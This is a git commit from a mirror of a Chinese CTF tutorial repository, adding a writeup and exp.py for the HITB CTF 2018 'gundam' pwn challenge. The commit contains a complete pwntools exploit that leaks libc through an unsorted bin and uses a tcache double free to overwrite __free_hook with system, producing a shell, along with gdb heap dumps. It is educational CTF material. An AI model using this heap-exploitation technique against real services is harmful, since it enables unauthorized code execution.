mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.1.19
This commit is contained in:
parent
3a60abe7bb
commit
bd2a5dadfb
@ -19,7 +19,7 @@ $ strings libc.so.6 | grep "GNU C"
|
|||||||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
|
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
|
||||||
Compiled by GNU CC version 6.4.0 20171010.
|
Compiled by GNU CC version 6.4.0 20171010.
|
||||||
```
|
```
|
||||||
保护全开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
||||||
|
|
||||||
玩一下:
|
玩一下:
|
||||||
```
|
```
|
||||||
@ -315,7 +315,7 @@ struct gundam *factory[9];
|
|||||||
```
|
```
|
||||||
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
|
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
|
||||||
|
|
||||||
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏。
|
从读入 name 的操作中我们发现,程序并没有在末尾设置 '\x00',可能导致信息泄漏(以'\x0a'结尾)。
|
||||||
|
|
||||||
#### Visit gundams
|
#### Visit gundams
|
||||||
```
|
```
|
||||||
@ -537,6 +537,229 @@ struct gundam *factory[9];
|
|||||||
|
|
||||||
|
|
||||||
## Exploit
|
## Exploit
|
||||||
|
所以利用过程如下:
|
||||||
|
1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。
|
||||||
|
2. 利用 double free,将 `__free_hook` 修改为 `system`。
|
||||||
|
3. 当调用 `free` 的时候就会调用 `system`,获得 shell。
|
||||||
|
|
||||||
|
#### leak
|
||||||
|
```python
|
||||||
|
def leak():
|
||||||
|
global __free_hook_addr
|
||||||
|
global system_addr
|
||||||
|
|
||||||
|
for i in range(9):
|
||||||
|
build('A'*7)
|
||||||
|
for i in range(7):
|
||||||
|
destroy(i) # tcache bin
|
||||||
|
destroy(7) # unsorted bin
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
for i in range(8):
|
||||||
|
build('A'*7)
|
||||||
|
|
||||||
|
visit()
|
||||||
|
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||||
|
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||||
|
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
```
|
||||||
|
|
||||||
|
chunk 被放进 unsorted bin 时:
|
||||||
|
```
|
||||||
|
gdb-peda$ vmmap heap
|
||||||
|
Start End Perm Name
|
||||||
|
0x0000555555757000 0x0000555555778000 rw-p [heap]
|
||||||
|
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||||||
|
0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
|
||||||
|
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||||||
|
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||||||
|
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||||||
|
0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
|
||||||
|
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ vmmap libc
|
||||||
|
Start End Perm Name
|
||||||
|
0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc.so.6
|
||||||
|
0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc.so.6
|
||||||
|
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc.so.6
|
||||||
|
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc.so.6
|
||||||
|
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
|
||||||
|
$1 = 0x3dac78
|
||||||
|
```
|
||||||
|
可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。
|
||||||
|
|
||||||
|
再次 malloc 之后:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||||||
|
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||||||
|
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
|
||||||
|
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
可以看到程序并没有在字符串后加 '\x00' 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] libc base: 0x7ffff79f8000
|
||||||
|
[*] __free_hook address: 0x7ffff7dd48a8
|
||||||
|
[*] system address: 0x7ffff7a3fdc0
|
||||||
|
```
|
||||||
|
|
||||||
|
#### overwrite
|
||||||
|
```python
|
||||||
|
def overwrite():
|
||||||
|
destroy(2)
|
||||||
|
destroy(1)
|
||||||
|
destroy(0)
|
||||||
|
destroy(0) # double free
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
build(p64(__free_hook_addr)) # 0
|
||||||
|
build('/bin/sh\x00') # 1
|
||||||
|
build(p64(system_addr)) # 2
|
||||||
|
```
|
||||||
|
|
||||||
|
触发 double free 时:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||||||
|
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
|
||||||
|
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
|
||||||
|
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557570f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||||
|
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||||||
|
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
|
||||||
|
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
其 fd 指针指向了它自己。
|
||||||
|
|
||||||
|
接下来的 malloc 将改写 `__free_hook` 的地址:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||||
|
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||||||
|
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
|
||||||
|
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/gx 0x00007ffff7dd48a8
|
||||||
|
0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
|
||||||
|
gdb-peda$ p system
|
||||||
|
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||||
|
```
|
||||||
|
|
||||||
|
#### pwn
|
||||||
|
```python
|
||||||
|
def pwn():
|
||||||
|
destroy(1)
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
Bingo!!!
|
||||||
|
```
|
||||||
|
$ python exp.py
|
||||||
|
[+] Starting local process './gundam': pid 7264
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
|
```
|
||||||
|
|
||||||
|
#### exp
|
||||||
|
完整的 exp 如下:
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||||
|
#elf = ELF('gundam')
|
||||||
|
libc = ELF('libc.so.6')
|
||||||
|
|
||||||
|
def build(name):
|
||||||
|
io.sendlineafter("choice : ", '1')
|
||||||
|
io.sendlineafter("gundam :", name)
|
||||||
|
io.sendlineafter("gundam :", '0')
|
||||||
|
|
||||||
|
def visit():
|
||||||
|
io.sendlineafter("choice : ", '2')
|
||||||
|
|
||||||
|
def destroy(idx):
|
||||||
|
io.sendlineafter("choice : ", '3')
|
||||||
|
io.sendlineafter("Destory:", str(idx))
|
||||||
|
|
||||||
|
def blow_up():
|
||||||
|
io.sendlineafter("choice : ", '4')
|
||||||
|
|
||||||
|
def leak():
|
||||||
|
global __free_hook_addr
|
||||||
|
global system_addr
|
||||||
|
|
||||||
|
for i in range(9):
|
||||||
|
build('A'*7)
|
||||||
|
for i in range(7):
|
||||||
|
destroy(i) # tcache bin
|
||||||
|
destroy(7) # unsorted bin
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
for i in range(8):
|
||||||
|
build('A'*7)
|
||||||
|
|
||||||
|
visit()
|
||||||
|
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||||
|
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||||
|
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
|
||||||
|
def overwrite():
|
||||||
|
destroy(2)
|
||||||
|
destroy(1)
|
||||||
|
destroy(0)
|
||||||
|
destroy(0) # double free
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
build(p64(__free_hook_addr)) # 0
|
||||||
|
build('/bin/sh\x00') # 1
|
||||||
|
build(p64(system_addr)) # 2
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
destroy(1)
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
leak()
|
||||||
|
overwrite()
|
||||||
|
pwn()
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
- https://ctftime.org/task/5924
|
- https://ctftime.org/task/5924
|
||||||
|
68
src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
Normal file
68
src/writeup/6.1.19_pwn_hitbctf2018_gundam/exp.py
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||||
|
#elf = ELF('gundam')
|
||||||
|
libc = ELF('libc.so.6')
|
||||||
|
|
||||||
|
def build(name):
|
||||||
|
io.sendlineafter("choice : ", '1')
|
||||||
|
io.sendlineafter("gundam :", name)
|
||||||
|
io.sendlineafter("gundam :", '0')
|
||||||
|
|
||||||
|
def visit():
|
||||||
|
io.sendlineafter("choice : ", '2')
|
||||||
|
|
||||||
|
def destroy(idx):
|
||||||
|
io.sendlineafter("choice : ", '3')
|
||||||
|
io.sendlineafter("Destory:", str(idx))
|
||||||
|
|
||||||
|
def blow_up():
|
||||||
|
io.sendlineafter("choice : ", '4')
|
||||||
|
|
||||||
|
def leak():
|
||||||
|
global __free_hook_addr
|
||||||
|
global system_addr
|
||||||
|
|
||||||
|
for i in range(9):
|
||||||
|
build('A'*7)
|
||||||
|
for i in range(7):
|
||||||
|
destroy(i) # tcache bin
|
||||||
|
destroy(7) # unsorted bin
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
for i in range(8):
|
||||||
|
build('A'*7)
|
||||||
|
|
||||||
|
visit()
|
||||||
|
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
|
||||||
|
libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
|
||||||
|
__free_hook_addr = libc_base + libc.symbols['__free_hook']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
|
||||||
|
log.info("libc base: 0x%x" % libc_base)
|
||||||
|
log.info("__free_hook address: 0x%x" % __free_hook_addr)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
|
||||||
|
def overwrite():
|
||||||
|
destroy(2)
|
||||||
|
destroy(1)
|
||||||
|
destroy(0)
|
||||||
|
destroy(0) # double free
|
||||||
|
|
||||||
|
blow_up()
|
||||||
|
build(p64(__free_hook_addr)) # 0
|
||||||
|
build('/bin/sh\x00') # 1
|
||||||
|
build(p64(system_addr)) # 2
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
destroy(1)
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
leak()
|
||||||
|
overwrite()
|
||||||
|
pwn()
|
Loading…
Reference in New Issue
Block a user